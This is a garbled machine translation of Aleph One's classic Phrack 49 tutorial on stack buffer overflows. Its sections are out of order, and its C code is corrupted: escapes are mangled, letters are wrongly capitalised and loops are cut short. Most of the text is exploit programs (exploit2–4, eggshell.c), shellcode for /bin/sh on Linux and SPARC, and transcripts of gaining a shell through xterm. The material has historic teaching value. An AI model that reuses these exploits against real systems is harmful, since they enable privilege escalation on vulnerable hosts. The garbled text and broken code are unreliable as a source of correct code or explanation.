__ASM __ ("MOVL% ESP,% EAX");

}

Void main () {

Printf ("0x% x / n", get_sp ());

}

-------------------------------------------------- ----------------------------

-------------------------------------------------- ----------------------------

[aleph1] $ ./sp

0x8000470

[aleph1] $

-------------------------------------------------- ----------------------------

Assume that we have to overflow their overflows as follows:

Vulnerable.c

-------------------------------------------------- ----------------------------

Void Main (int Argc, char * argv []) {

Char buffer [512];

IF (Argc> 1)

STRCPY (Buffer, Argv [1]);

}

-------------------------------------------------- ----------------------------

We create a program to accept two parameters, one is the buffer size, the other is from its own stack pointer

The offset (this stack pointer indicates the location where we want to overflow the buffer). We put overflow characters

Stroke is plan into an environment variable so it is easy to operate.

Exploit2.c

-------------------------------------------------- ----------------------------

#include

#define default_offset 0

#define default_buffer_size 512

Char shellcode [] =

"/ XEB / X1F / X5E / X89 / X76 / X08 / X31 / XC0 / X88 / X46 / X07 / X89 / X0B"

"/ x89 / x08 / x8d / x56 / x0c / xcd / x80 / ​​x31 / xdb / x89 / xd8 / x40 / xcd" / x80 / ​​xe8 / xdc / xff / xff / xff / bin / SH "

Unsigned long get_sp (void) {

__ASM __ ("MOVL% ESP,% EAX");

}

Void Main (int Argc, char * argv []) {

Char * buff, * PTR;

Long * addr_ptr, addr;

INT offset = default_offset, bsize = default_buffer_size;

INT I;

IF (Argc> 1) BSIZE = ATOI (Argv [1]);

IF (Argc> 2) OFFSET = ATOI (Argv [2]);

IF (! (buff = malloc (bsize))))

Printf ("Can't Allocate Memory./N);

exit (0);

}

AddR = get_sp () - offset;

Printf ("Using Address: 0x% X / N", ADDR);

PTR = BUFF;

Addr_ptr = (long *) PTR;

For (i = 0; i

* (addr_ptr ) = addr;

PTR = 4;

For (i = 0; i

* (PTR ) = shellcode [i];

BUF [BSIZE - 1] = '/ 0';

Memcpy (buff, "egg =", 4);

Putenv (BUFF);

SYSTEM ("/ bin / bash");

}

-------------------------------------------------- ----------------------------

Now we try to guess the size and offset of the buffer:

-------------------------------------------------- ----------------------------

[ALEPH1] $ ./exploit2 500

Using address: 0xBffffdb4

[ALEPH1] $ ./vulnerable $ EGG

[ALEPH1] $ EXIT

[ALEPH1] $ ./exploit2 600

Using address: 0xBffffdb4

[ALEPH1] $ ./vulnerable $ EGG

Illegal instruction

[ALEPH1] $ EXIT

[aleph1] $ ./exploit2 600 100

Using address: 0xBffffd4c

[ALEPH1] $ ./vulnerable $ EGG

Segmentation Fault

[ALEPH1] $ EXIT

[ALEPH1] $ ./exploit2 600 200

USING Address: 0xBfffffCe8

[ALEPH1] $ ./vulnerable $ EGG

Segmentation Fault

[ALEPH1] $ EXIT

.

.

.

[ALEPH1] $ ./exploit2 600 1564

USING Address: 0xBfffff794

[ALEPH1] $ ./vulnerable $ EGG

$

-------------------------------------------------- ---------------------------- As we see, this is not a very efficient process. Even if you know the stack Start address, taste

Try guessed offset is almost impossible. We are likely to test hundreds of times, may not be allowed to be allowed to say. Question

The key is that we must * exact * know the address starting at our code. If the deviation evens only one byte we

You can only get paragraph error or illegal instruction errors. One way to improve the success rate is to fill in the front section of our overflow buffer

Charge NOP instruction. Almost all processors have NOP instructions to perform empty operations. Common for delay purposes. We use it

Fill the first half of the overflow buffer. Then put the shellcode in the middle section, followed by returning the address. If we are enough

Fortunately, return the address to any location to the NOPS string, the NOP instruction will execute until we have encountered our

SHELLCODE. In the Intel architecture, only one byte length is one byte, translation as machine code is 0x90. Assume the stack

The start address is 0xFF, S represents shellcode, n represents NOP instructions, the new stack looks like this:

Memory low DDDDDDDEEEEEEEEEEEEEE EEEE FFFFFFFFF FFFF memory high

Address 89ABCDEF0123456789AB CDEF 0123 4567 89AB CDEF address

Buffer SFP RET A B C

<------ [nnnnnnnnnnssssssssssss] [0xde] [0xde] [0xde] [0xDe] [0xDE]

^ | |

| _____________________ |

Stack top stack bottom

The new crack program is as follows:

Exploit3.c

-------------------------------------------------- ----------------------------

#include

#define default_offset 0

#define default_buffer_size 512

#define nop 0x90

Char shellcode [] =

"/ XEB / X1F / X5E / X89 / X76 / X08 / X31 / XC0 / X88 / X46 / X07 / X89 / X0B"

"/ x89 / x08 / x8d / x56 / x0c / xcd / x80 / ​​x31 / xdb / x89 / xd8 / x40 / xcd"

"/ x80 / ​​xe8 / xdc / xff / xff / xff / bin / sh";

Unsigned long get_sp (void) {

__ASM __ ("MOVL% ESP,% EAX");

}

Void Main (int Argc, char * argv []) {

Char * buff, * PTR;

Long * addr_ptr, addr;

INT offset = default_offset, bsize = default_buffer_size;

INT I;

IF (Argc> 1) BSIZE = ATOI (Argv [1]);

IF (Argc> 2) OFFSET = ATOI (Argv [2]);

IF (! (buff = malloc (bsize))))

Printf ("Can't Allocate Memory./N);

exit (0);

AddR = get_sp () - offset;

Printf ("Using Address: 0x% X / N", ADDR);

PTR = BUFF;

Addr_ptr = (long *) PTR;

For (i = 0; i

* (addr_ptr ) = addr;

For (i = 0; i

BUFF [I] = NOP;

PTR = BUFF ((BSIZE / 2) - (Strlen (shellcode) / 2);

For (i = 0; i

* (PTR ) = shellcode [i];

BUF [BSIZE - 1] = '/ 0';

Memcpy (buff, "egg =", 4);

Putenv (BUFF);

SYSTEM ("/ bin / bash");

}

-------------------------------------------------- ----------------------------

The buffer size we use is preferably about 100 bytes larger than the buffer to overflow. We are going to make it

Place shellcode at the end of the spilled buffer, leave enough space for the NOP instruction, still use the address we speculate

To override the return address. Here we want to overflow the buffer size of 512 bytes, so we use 612 bytes.

Now use a new crack program to overflow our test program:

-------------------------------------------------- ----------------------------

[aleph1] $ ./exploit3 612

Using address: 0xBffffdb4

[ALEPH1] $ ./vulnerable $ EGG

$

-------------------------------------------------- ----------------------------

Wow! One hit! This improvement has improved our hit rate. Try one in a real environment.

The down buffer overflows. Use the method we told on the XT library. In the example, we use XTERM (actually all

The programs connected to the XT library have a vulnerability). To run x server on your computer and allow local connections.

Set the Display variable.

-------------------------------------------------- ----------------------------

[ALEPH1] $ export display =: 0.0

[ALEPH1] $ ./exploit3 1124

Using address: 0xBffffdb4

[aleph1] $ / usr / x11r6 / bin / xterm -fg $ EGG

Warning: color name "隵 1F

°

Bamboo

? @ よ? IN / SHI い い い い い い い い い い い い い い い い い い い い

IM I I didn't buy it.

(Truncated this is truncated)

い い い い い い い い?

^ C

[ALEPH1] $ EXIT

[aleph1] $ ./exploit3 2148 100

Using address: 0xBffffd48

[aleph1] $ / usr / x11r6 / bin / xterm -fg $ EGG

Warning: color name "隵 1F

°

Bamboo

? へ @ よ? IN / SH

Bamboo

(Truncated this is truncated)

縃縃arning: Some Arguments in Previous Message Were Lost

Illegal instruction

[ALEPH1] $ EXIT

.

.

.

[ALEPH1] $ ./exploit4 2148 600

Using address: 0xBffffb54

[aleph1] $ / usr / x11r6 / bin / xterm -fg $ EGG

Warning: color name "隵 1F

°

Bamboo

? へ @ よ? IN / sh 鸗鸗 鸗 鸗 鸗 鸗 鸗 鸗 鸗 鸗 鸗 鸗 鸗 鸗 鸗 鸗 鸗 鸗 鸗 鸗 鸗 鸗 鸗 鸗 鸗 鸗 鸗 鸗 鸗 鸗 鸗 鸗鸗

鸗鸗 鸗 鸗 鸗 鸗 鸗 鸗 鸗 鸗 鸗 鸗 鸗 鸗 鸗 鸗 鸗 鸗 鸗 鸗 鸗 鸗 鸗 鸗鸗?

(Truncated this is truncated)

縏鸗 鸗 鸗 鸗 鸗 鸗 鸗 鸗 鸗 鸗 鸗 鸗 Arning: Some Arguments in Previous Message Were Lost

Bash $

-------------------------------------------------- ----------------------------

Yurka! Just try to try it only! If xterm is installed with Suid Root, we already

I got a root shell.

Overflow of the small buffer

~~~~~~~~~~~~~~~~

Sometimes it is too small to overflow a buffer, so that shellcode can't go in, so return the address.

Will be covered by the instead of the address we speculate, or shellcode is put in, but it can't fill it.

Sufficient NOP instructions, which speculates that the success rate of the address is very low. To get from this program (small buffer)

A shell, we must think other ways. This method introduced will only be able to access the program's environment variable

Effective.

What we do is put shellcode in an environment variable, then use this variable to address the address in memory.

Make the buffer overflow. This method also improves the success rate of cracking work, because the environment of saving shellcode

How big is it necessary to want to do it?

When the program starts, the environment variable is stored at the top of the stack, and any modification action using STENV () will be in other

The place to reassign space. The stack at the beginning is as follows:

null NULL

Our new program uses an additional variable, the variable size can accommodate Shellcode and NOP instructions.

The new crack program is as follows:

Exploit4.c

-------------------------------------------------- ----------------------------

#include

#define default_offset 0

#define default_buffer_size 512

#define default_egg_size 2048

#define nop 0x90

Char shellcode [] =

"/ XEB / X1F / X5E / X89 / X76 / X08 / X31 / XC0 / X88 / X46 / X07 / X89 / X0B"

"/ x89 / x08 / x8d / x56 / x0c / xcd / x80 / ​​x31 / xdb / x89 / xd8 / x40 / xcd"

"/ x80 / ​​xe8 / xdc / xff / xff / xff / bin / sh";

Unsigned long get_esp (void) {

__ASM __ ("MOVL% ESP,% EAX");

}

Void main (int Argc, char * argv []) {char * buff, * ptr, * EGG;

Long * addr_ptr, addr;

INT offset = default_offset, bsize = default_buffer_size;

INT I, Eggsize = Default_EGG_SIZE;

IF (Argc> 1) BSIZE = ATOI (Argv [1]);

IF (Argc> 2) OFFSET = ATOI (Argv [2]);

IF (Argc> 3) Eggsize = ATOI (Argv [3]);

IF (! (buff = malloc (bsize))))

Printf ("Can't Allocate Memory./N);

exit (0);

}

IF (! (egg = malloc (eggsize))) {

Printf ("Can't Allocate Memory./N);

exit (0);

}

AddR = Get_ESP () - offset;

Printf ("Using Address: 0x% X / N", ADDR);

PTR = BUFF;

Addr_ptr = (long *) PTR;

For (i = 0; i

* (addr_ptr ) = addr;

PTR = EGG;

For (i = 0; I

* (PTR ) = NOP;

For (i = 0; i

* (PTR ) = shellcode [i];

BUF [BSIZE - 1] = '/ 0';

Egg [Eggsize - 1] = '/ 0';

Memcpy (EGG, "EGG =", 4);

Putenv (EGG);

Memcpy (BUFF, "RET =", 4);

Putenv (BUFF);

SYSTEM ("/ bin / bash");

}

-------------------------------------------------- ----------------------------

Try our vulnerability test program with this new crack program:

-------------------------------------------------- ----------------------------

[ALEPH1] $ ./exploit4 768

USING Address: 0xBfffFDB0

[ALEPH1] $ ./vulnerable $ RET

$

-------------------------------------------------- ----------------------------

Successful, try xterm:

-------------------------------------------------- ----------------------------

[ALEPH1] $ export display =: 0.0

[ALEPH1] $ ./exploit4 2148

USING Address: 0xBfffFDB0

[aleph1] $ / usr / x11r6 / bin / xterm -fg $ retent

Warning: Color Name

"Hey greetenly becomes greeten to hey I'll be greeten

(Truncated this is truncated)

Gutter

Warning: Some Arguments in Previous Message Were Lost

$

-------------------------------------------------- ----------------------------

One success! It significantly improved our success rate. Relying on cracking procedures and comparing environmental data

How much, the address we speculate may also be higher than true value. Positive and negative offset can be tried.

Looking for buffer overflow vulnerabilities

~~~~~~~~~~~~~~~~~~~~~

As mentioned earlier, the buffer overflow is a result of filling information that exceeds its processing capability to a buffer. Due to C

There is no built-in boundary check, when writing a character array, if it exceeds the end of the array, it will overflow.

Out. The standard C language library provides some string replication or add functions without boundaries. Including strcat (),

STRCPY (), sprintf (), and vsprintf (). These functions operate on a string end of a NULL and

Do not check the overflow situation. The Gets () function reads a row into the buffer from the standard input until the wrap or EOF. It is not

Check the buffer overflow. Scanf () function family matches a series of non-spaced characters (% s), or from the specified collection (% [])

When using non-empty series characters, use the character pointer to the array, and no maximum field width this option,

There may be a problem. If the destination address of these functions is a fixed size buffer, the other parameter of the function is

The user is entered in some form, it is likely to use the buffer overflow to crack it.

Another common programming structure is to read a character from a standard input or a file using the While cycle.

In the buffer, until the end of the line or the end, or what other termination is encountered. This structure usually uses GETC (),

One of the fgetc (), or getchar () function. If there is no clear overflow check in the While loop, this process

The order is very easy to be crack.

This shows that grep (1) is a good tool command (helping you find a vulnerability in the program). Free exercise

The source code for the system and its tools is readable. When you realize that there are actually a lot of business operating system tools and free software

When the same source code is the same, the rest is simple! :-)

Appendix A - SHELLCODE for different operating systems / architectures

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

i386 / linux

-------------------------------------------------- ----------------------------

JMP 0x1f

POPL% ESI

MOVL% ESI, 0x8 (% ESI)

XORL% EAX,% EAX

MOVB% EAX, 0x7 (% ESI)

MOVL% EAX, 0xc (% ESI)

MOVB $ 0XB,% Al

MOVL% ESI,% EBX

LEAL 0x8 (% ESI),% ECX

LEAL 0xC (% ESI),% EDX

INT $ 0x80

XORL% EBX,% EBX

MOVL% EBX,% EAX

INC% EAX

INT $ 0x80

Call -0x24

.String / "/ bin / sh /"

-------------------------------------------------- ----------------------------

Sparc / Solaris

-------------------------------------------------- ----------------------------

SETHI 0XBD89A,% L6

OR% L6, 0x16E,% L6

SETHI 0XBDCDA,% L7

And% SP,% SP,% O0ADD% SP, 8,% O1

XOR% O2,% O2,% O2

Add% SP, 16,% SP

STD% L6, [% sp - 16]

ST% SP, [% sp - 8]

ST% G0, [% sp - 4]

MOV 0x3b,% G1

TA 8

XOR% O7,% O7,% O0

MOV 1,% G1

TA 8

-------------------------------------------------- ----------------------------

SPARC / SunOS

-------------------------------------------------- ----------------------------

SETHI 0XBD89A,% L6

OR% L6, 0x16E,% L6

SETHI 0XBDCDA,% L7

And% SP,% SP,% O0

Add% SP, 8,% O1

XOR% O2,% O2,% O2

Add% SP, 16,% SP

STD% L6, [% sp - 16]

ST% SP, [% sp - 8]

ST% G0, [% sp - 4]

MOV 0x3b,% G1

MOV -0x1,% L5

TA% L5 1

XOR% O7,% O7,% O0

MOV 1,% G1

TA% L5 1

-------------------------------------------------- ----------------------------

Appendix B - Universal Buffer Overflow Program

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

shellcode.h

-------------------------------------------------- ----------------------------

#if Defined (__ i386__) && defined (__ linux__)

#define NOP_SIZE 1

Char NOP [] = "/ x90";

Char shellcode [] =

"/ XEB / X1F / X5E / X89 / X76 / X08 / X31 / XC0 / X88 / X46 / X07 / X89 / X0B"

"/ x89 / x08 / x8d / x56 / x0c / xcd / x80 / ​​x31 / xdb / x89 / xd8 / x40 / xcd"

"/ x80 / ​​xe8 / xdc / xff / xff / xff / bin / sh";

Unsigned long get_sp (void) {

__ASM __ ("MOVL% ESP,% EAX");

}

#ELIF Defined (__ sparc__) && defined (__ sun__) && defined (__ SVR4__)

#define NOP_SIZE 4

CHAR NOP [] = "/ xac / x15 / xa1 / x6e";

Char shellcode [] =

"/ X2D / X0B / XD8 / X9A / XAC / X15 / XA1 / X6E / X2F / X0B / XDC / XDA / X90 / X0B / X80 / X0E"

"/ x92 / x03 / xa0 / x08 / x94 / x1a / x80 / ​​x0a / x9c / x03 / xa0 / x10 / xec / x3b / xbf / xf0"

"/ XDC / X23 / XBF / XF8 / XC0 / X23 / XBF / XFC / X82 / X10 / X20 / X3B / X91 / XD0 / X20 / X08" "/ x90 / x1b / xc0 / x0f / x82 / x10 / x20 / X01 / X91 / XD0 / X20 / X08 ";

Unsigned long get_sp (void) {

__ASM __ ("OR% SP,% SP,% I0");

}

#ELIF Defined (__ sparc__) && defined (__ sun__)

#define NOP_SIZE 4

CHAR NOP [] = "/ xac / x15 / xa1 / x6e";

Char shellcode [] =

"/ X2D / X0B / XD8 / X9A / XAC / X15 / XA1 / X6E / X2F / X0B / XDC / XDA / X90 / X0B / X80 / X0E"

"/ x92 / x03 / xa0 / x08 / x94 / x1a / x80 / ​​x0a / x9c / x03 / xa0 / x10 / xec / x3b / xbf / xf0"

"/ xdc / x23 / xbf / xf8 / xc0 / x23 / xbf / xfc / x82 / x10 / x20 / x3b / xaa / x10 / x3f / XFF"

"/ x91 / xd5 / x60 / x01 / x90 / x1b / xc0 / x0f / x82 / x10 / x20 / x01 / x91 / xd5 / x60 / x01"

Unsigned long get_sp (void) {

__ASM __ ("OR% SP,% SP,% I0");

}

#ENDIF

-------------------------------------------------- ----------------------------

Eggshell.c

-------------------------------------------------- ----------------------------

/ *

* Eggshell v1.0

*

* Aleph one / aleph1@underround.org

* /

#include

#include

#include "shellcode.h"

#define default_offset 0

#define default_buffer_size 512

#define default_egg_size 2048

Void Usage (Void);

Void Main (int Argc, char * argv []) {

Char * PTR, * BOF, * EGG;

Long * addr_ptr, addr;

INT offset = default_offset, bsize = default_buffer_size;

INT I, N, M, C, Align = 0, Eggsize = Default_EGG_SIZE DEFT_EGG_SIZE

While (C = Getopt (Argc, Argv, "A: B: E: o:"))! = EOF

Switch (c) {

Case 'a':

Align = ATOI (OPTARG);

Break;

Case 'b':

Bsize = atoi (OPTARG);

Break;

Case 'E':

Eggsize = atoi (OPTARG);

Break;

Case 'o':

OFFSET = ATOI (OPTARG);

Break;

Case '?':

USAGE (); exit (0);

}

IF (Strlen (shellcode> eggsize) {

Printf ("shellcode is larger the the egg./N");

exit (0);

}

IF (! (bof = malloc (bsize)))) {

Printf ("Can't Allocate Memory./N);

exit (0);

}

IF (! (egg = malloc (eggsize))) {

Printf ("Can't Allocate Memory./N);

exit (0);

}

AddR = get_sp () - offset;

Printf ("[buffer size: / t% d / t / tegg size: / t% d / Taligment: / T% D / T] / N",

Bsize, Eggsize, Align;

Printf ("[Address: / T0x% X / Toffset: / T / T% D / T / T / T / T / T%);

Addr_ptr = (long *) BOF;

For (i = 0; i

* (addr_ptr ) = addr;

PTR = EGG;

For (i = 0; i <= eggsize - strlen (shellcode) - NOP_SIZE; i = NOP_SIZE)

FOR (n = 0; n

M = (N align)% NOP_SIZE;

* (PTR ) = NOP [M];

}

For (i = 0; i

* (PTR ) = shellcode [i];

Bof [BSIZE - 1] = '/ 0';

Egg [Eggsize - 1] = '/ 0';

Memcpy (EGG, "EGG =", 4);

Putenv (EGG);

Memcpy (BOF, "BOF =", 4);

Putenv (BOF);

SYSTEM ("/ bin / sh");

}

Void usage (void) {

(void) FPRINTF (stderr,

"USAGE: Eggshell [-a ] [-b ] [-e ] [-o

ET>] / N ");

}

-------------------------------------------------- ----------------------------

.oo phrack 49 oo.

Volume Seven, Issue Forty-Nine

File 14 of 16

Bugtraq, R00T, And Underground.org

Bring you

Xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx

Smashing The Stack for Fun and Profit

Trample in stack with entertainment and profit

(Principle and practice of buffer overflow)

Xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx

Originally by aleph one

Aleph1@underground.org

Translation xuzq@chinasafer.com

Www.chinasafer.com 'Trample Stack' [C Language Programming] n. In many C language implementations, it is possible to pass the write routine

The end of the array declared to destroy the executable stack. The so-called 'trample stack' uses

The code can cause the routine to return an exception, which jumps to any address. This has led to some extreme

Sanxious data related vulnerabilities (already known). Its variants include stack lamination (TRASH THE)

STACK, Scribble The Stack, Stack Destroy;

The term Mung The Stack is not used because this never deliberately caused. See SPAM?

Also see the vulnerability of the same name, the NC (Fandango on Core), memory leak (Memory

Leak), precedence lossage, thread slip, and Overrun Screw.

Conclude

~~~~~~~

In the past few months, the buffer overflow vulnerability to be discovered and utilized. For example, Syslog,

Splitvt, Sendmail 8.7.5, Linux / Freebsd Mount, XT Library, AT, etc. Try Now

Interpretation What is buffer overflow and how to use it.

The basic knowledge of compilation is required. The concept of virtual memory, and the experience of using GDB is very beneficial

, But not required. We also assume that the operating system is Linux using the Intel X86 CPU.

We give several basic definitions before the beginning: the buffer, simply coming is a continuous computer

The storage area can save multiple instances of the same data type. C Programmers usually deal with the word buffer array.

The most common is the character array. Array, like all variables in the C language, can be declared as static or dynamic

The static variable is positioned in the data segment when the program is loaded. The dynamic variable is positioned in the stack at the time of the program.

Overflow, it is bluntly filled, so that the contents exceed the top, edge, or boundary. We only care about

The overflow problem of the buffer, that is, the stack-based buffer overflow.

Process memory organizational form

~~~~~~~~~~~~~~~~~~~~

In order to understand what is a stack buffer, we must first understand that a process is in the form of organization.

The memory exists in memory. The process is divided into three areas: text, data and stack. We focus on the stack

Area, but first introduces other areas in order to briefly.

The text area is determined by the program, including code (instruction) and read-only data. This area is equivalent to executable

The text segment of the file. This area is usually marked as read-only, and any operations written in it will cause paragraph errors.

Segmentation Viology.

The data area contains data that have been initialized and not initialized. Static variables are stored in this area. Number

According to the Data-BSS segment in the executable of the executable. Its size can be changed by the system to call BRK (2).

If the BSS data expansion or user stack consumes the available memory, the process will be blocked, waiting to have

A larger memory space is run again. The new memory is added to the middle of the data and stack segments.

/ ----------------- / Memory low address

| | |

| Text |

| | |

| ------------------

| (Initialized) |

| Data |

| (Not initialized) |

| ------------------

| | |

| Stack |

| | |

/ ----------------- / Memory high address

Fig. 1 process memory area

What is a stack?

~~~~~~~~~~~~~

Stack is an abstract data type that is often used in computer science. The objects in the stack have a characteristic:

The last object in the stack is always first, which is often referred to as the next first (LIFO) queue.

Some operations are defined in the stack. Two most important thing is PUSH and POP. Push operation Add to one in the top of the stack

Elements. In contrast, the POP operation is removed from the top of the stack and minimizes the size of the stack.

Why use the stack?

~~~~~~~~~~~~~~~~ Modern computer is designed to understand the advanced language in people's minds. When using advanced language construction

The most important technology is the process of process and functions. From this point, a process call can be

Change the program's control process as the JUMP command, but is different from the jump, when the work is completed,

The function returns control to the statement or instructions after the call. This advanced abstraction is achieved by the help of the stack.

The stack is also used to dynamically allocate space used in the function, and the function is sent to the function transfer parameters and functions.

Return value also uses the stack.

Stack area

~~~~~~~~~~

The stack is a continuous memory for saving data. A register named stack pointer (SP) pointing to the top of the stack.

The bottom of the stack is in a fixed address. The size of the stack is dynamically adjusted by the kernel during runtime. CPU implementation instruction

PUSH and POP, add elements to the stack and remove elements from it.

The stack consists of a logical stack frame. When the call function is called, the logical stack frame is pressed into the stack, and the function is logical when the function returns.

The stack frame is popped up from the stack. The stack frame includes the parameters of the function, local variables of the function, and restore the previous stack

The data required for the frame, which includes the value of the instruction pointer (IP) when the function is called.

The stack can also grow down (to the memory low address) can also grow up, depending on the specific implementation.

In the examples, the stack is growing down. This is the implementation of many computers, including Intel, Motorola,

SPARC and MIPS processors. Stack pointers (sp) are also dependent on specific implementation. It can point to the last address of the stack,

Or point to the next idle available address after the stack. In our discussion, the SP points to the last address of the stack.

In addition to the stack pointer (SP pointing to the low address at the top of the stack), in order to use convenience, there is a point-to-frame fixed

The pointer of the address is called frame pointer (FP). Some articles are called local base pointers (LB-local base pointer).

In theory, local variables can be referenced by SP inclination. However, when there is a word being pressed and out of the stack, this

Some offsets have changed. Although the compiler can track the word operation in the stack, it can be corrected offset.

Quantity, but in some cases, it is not possible. In all cases, to introduce a considerable management overhead. And some

On machines, such as Intel processors, multiple instructions are required to access a variable from the SP mesh.

Therefore, many compilers use second registers, FP, can be referenced for local variables and function parameters,

Because their distance to FP will not be affected by PUSH and POP operations. In Intel CPU, BP (EBP) is used for this

Of a target. In the Motorola CPU, FP can be made in addition to any address register other than the A7 (Stack Pointer SP).

Considering the growth direction of our stack, starting from the position of the FP, the offset of the function parameters is positive, and the local

The offset of the variable is negative.

The first thing you must do when a routine is called is to save the previous FP (so when the routine is exited.

Restore). Then it copies the SP to the FP, create a new FP, move the SP forward as a local variable reserved space. This is called

The prelude of the routine (proLog) work. When the routine exits, the stack must be cleaned, this is called the routine

(Epilog) Work. Intel's Enter and Leave Directions, Motorola's Link and Unlink Directions can be used for

Effectively prelude and end.

Below we use a simple example to show the appearance of the stack:

EXAMPLE1.C:

-------------------------------------------------- ----------------------------

Void Function (int A, int b, int c) {

Char buffer1 [5];

Char buffer2 [10];

}

Void main () {

Function (1, 2, 3);

}

-------------------------------------------------- ----------------------------

In order to understand what is done when calling function (), we compile the GCC -s option to produce

Give profile code output:

$ GCC -S -O EXAMPLE1.S EXAMPLE1.C Output by viewing assembly language, we see that the call to function () is translated:

Pushl $ 3

Pushl $ 2

Pushl $ 1

Call function

Press the three parameters of the Function into the stack in order from the previous order, and then call function (). Instruction CALL

The instruction pointer (IP) will also be pressed into the stack. We call this saved ip as the return address (RET). In the function

The first thing is the prelude work of routines:

Pushl% EBP

MOVL% ESP,% EBP

SUBL $ 20,% ESP

Press the frame pointer EBP into the stack. Then copy the current SP to EBP, make it a new frame pointer. We put this

Saved FP is called SFP. Next, the value of the SP is reduced, and the space is reserved for local variables.

We must keep in mind that memory can only be addressed in words. One word here is 4 bytes, 32 bits. So 5 bytes

The buffer will occupy the memory space of 8 bytes (2 words), and 10 bytes of buffers will take up 12 bytes (3 words)

Memory space. This is why SP has to lose 20. So we can imagine function () when it is called.

Stack of appearances (each space represents a byte):

Memory low address memory high address

Buffer2 Buffer1 SFP RET A B C

<------ [] [] [] [] [] [] []

Stack top stack bottom

Buffer overflow

~~~~~~~~~~~~

The buffer overflow is the result of filling a buffer exceeding the data that exceeds its processing capabilities. How to use this

Often programming errors to perform any code? Let's take a look at another example:

EXAMPLE2.C

-------------------------------------------------- ----------------------------

Void function (char * str) {

Char buffer [16];

STRCPY (BUFFER, STR);

}

Void main () {

CHAR LARGE_STRING [256];

INT I;

For (i = 0; i <255; i )

Large_string [i] = 'a';

Function (large_string);

}

-------------------------------------------------- ----------------------------

The function of this program contains a typical memory buffer encoding error. This function does not perform border check

The string provided, incorrectly uses strcpy () without using Strncpy (). If you run this program

Segment error will be generated. Let us look at the appearance of the stack when calling the function:

Memory low address memory high address

Buffer SFP RET * STR

<------ [] [] [] []

Stack top stack bottom

What happened here? Why do we get a paragraph error? The answer is simple: strcpy () will * STR

Content (Larger_String []) Copy to buffer [] until an empty character is hit in the string. Obviously,

Buffer [] ratio * STR is much smaller. Buffer [] only 16 bytes long, but we try to fill in 256 bytes in the inside. This means that 250 bytes in the stack are overwritten after Buffer. . Including SFP, RET, and even * STR!

We have filled Large_String all filled into A. A of the hexadecimal value of 0x41. This means now return

The site is 0x41414141. This has been outside the address space of the process. When the function returns, the program tries to read the return.

The next instruction of the address, at this time we get a paragraph error.

So the buffer overflow allows us to change the return address of the function. This allows us to change the execution process of the program.

Now returning to the first example, recalling the appearance of the stack at the time:

Memory low address memory high address

Buffer2 Buffer1 SFP RET A B C

<------ [] [] [] [] [] [] []

Stack top stack bottom

Now try to modify our first example, let it override the return address, and make it execute any code.

In the stack in Buffer1 [], it is SFP, and SFP is back to the address. RET is four from the end of buffer1 []

Bytes. It should be remembered that buffer1 [] is actually two words, 8 bytes long. So return the address from buffer1 []

The head calculates 12 bytes. We will use this method to modify the return address, skip the function calls later assignment statement

'x = 1;', in order to do this, we add 8 bytes. The code looks like this:

EXAMPLE3.C:

-------------------------------------------------- ----------------------------

Void Function (int A, int b, int c) {

Char buffer1 [5];

Char buffer2 [10];

INT * RET;

Ret = buffer1 12;

(* RET) = 8;

}

Void main () {

INT X;

X = 0;

Function (1, 2, 3);

X = 1;

Printf ("% d / n", x);

}

-------------------------------------------------- ----------------------------

We add the address of the buffer1 [] 12, the resulting new address is where the address is stored. We want to skip

The assignment statement directly executes the Printf call. How do you know that you should return to 8 bytes? We have previously used

After a test value (such as 1), compile the program, the tool GDB:

-------------------------------------------------- ----------------------------

[ALEPH1] $ GDB EXAMPLE3

GDB Is Free Software and You Are Welcome to Distribute Copies of IT

Under Certain Conditions; Type "Show Copying" to see the conditions.

There Is Absolutely No Warranty for GDB; Type "Show Warranty" for Details.

GDB 4.15 (i586-unknown-linux), Copyright 1995 Free Software Foundation, Inc ...

(No Debugging Symbols Found) ...

(GDB) Disassemble Main

Dump of assembler code for function main:

0x8000490

: pushl% EBP

0x8000491

: MOVL% ESP,% EBP

0x8000493

: SUBL $ 0x4,% ESP

0x8000496

: MOVL $ 0x0, 0xfffffffc (% EBP)

0x800049D

: Pushl $ 0x3

0x800049f

: Pushl $ 0x2

0x80004A1

: Pushl $ 0x1

0x80004A3

: Call 0x8000470

0x80004A8

: AddL $ 0xc,% ESP

0x80004AB

: MOVL $ 0x1, 0xfffffffc (% EBP)

0x80004B2

: MOVL 0xffffffc (% EBP),% EAX

0x80004B5

: pushl% EAX

0x80004B6

: pushl $ 0x80004F8

0x80004BB

: Call 0x8000378

0x80004c0

: Add1 $ 0x8,% ESP

0x80004C3

: MOVL% EBP,% ESP

0x80004c5

: POPL% EBP

0x80004C6

: RET

0x80004c7

: NOP

-------------------------------------------------- ----------------------------

We see when invoing Function (), RET will be 0x8004a8, we want to skip the value of 0x80004AB

Instructions. The next instruction you want to perform is 0x8004B2. Simple calculation tells us that the distance between the two instructions is 8 bytes.

Shell Code

~~~~~~~~~~

Now we can modify the return address to change the process of execution, what do we want to do?

In most cases, we just want the program to give birth to a shell. From this shell, you can execute anyone

What you want. But what if we don't have this code in the program we try to crack?

How can I put any instructions in the address space of the program? The answer is to put the code you want to execute.

We want to overflow the buffer and override the return address of the function to point to this buffer. Assume the stack

The starting address is 0xFF, and S represents the code we want to execute, the stack looks like this:

Memory low DDDDDDDEEEEEEEEEEEEEE EEEE FFFFFFFFF FFFF memory high

Address 89ABCDEF0123456789AB CDEF 0123 4567 89AB CDEF address

Buffer SFP RET A B C

<------ [sssssssssssssssssssss] [SSSS] [0xD8] [0x01] [0x02] [0x03] ^ |

| ____________________________ |

Stack top stack bottom

The C language code that is derived from a shell is like this:

shellcode.c

-------------------------------------------------- ---------------------------

#include

Void main () {

Char * name [2];

Name [0] = "/ bin / sh";

Name [1] = NULL;

Execve (Name [0], Name, NULL);

}

-------------------------------------------------- ----------------------------

In order to find out what it is like this program, we compile it, then sacrifies the debug tool GDB. Remember

Use the -static flag when compiling, otherwise the real code of the system calls Execve will not include in the assembly,

Instead, a reference to the dynamic C language library, the real code is to be coupled when the program is loaded.

-------------------------------------------------- ----------------------------

[aleph1] $ gcc -o shellcode -ggdb -static shellcode.c

[ALEPH1] $ GDB shellcode

GDB Is Free Software and You Are Welcome to Distribute Copies of IT

Under Certain Conditions; Type "Show Copying" to see the conditions.

There Is Absolutely No Warranty for GDB; Type "Show Warranty" for Details.

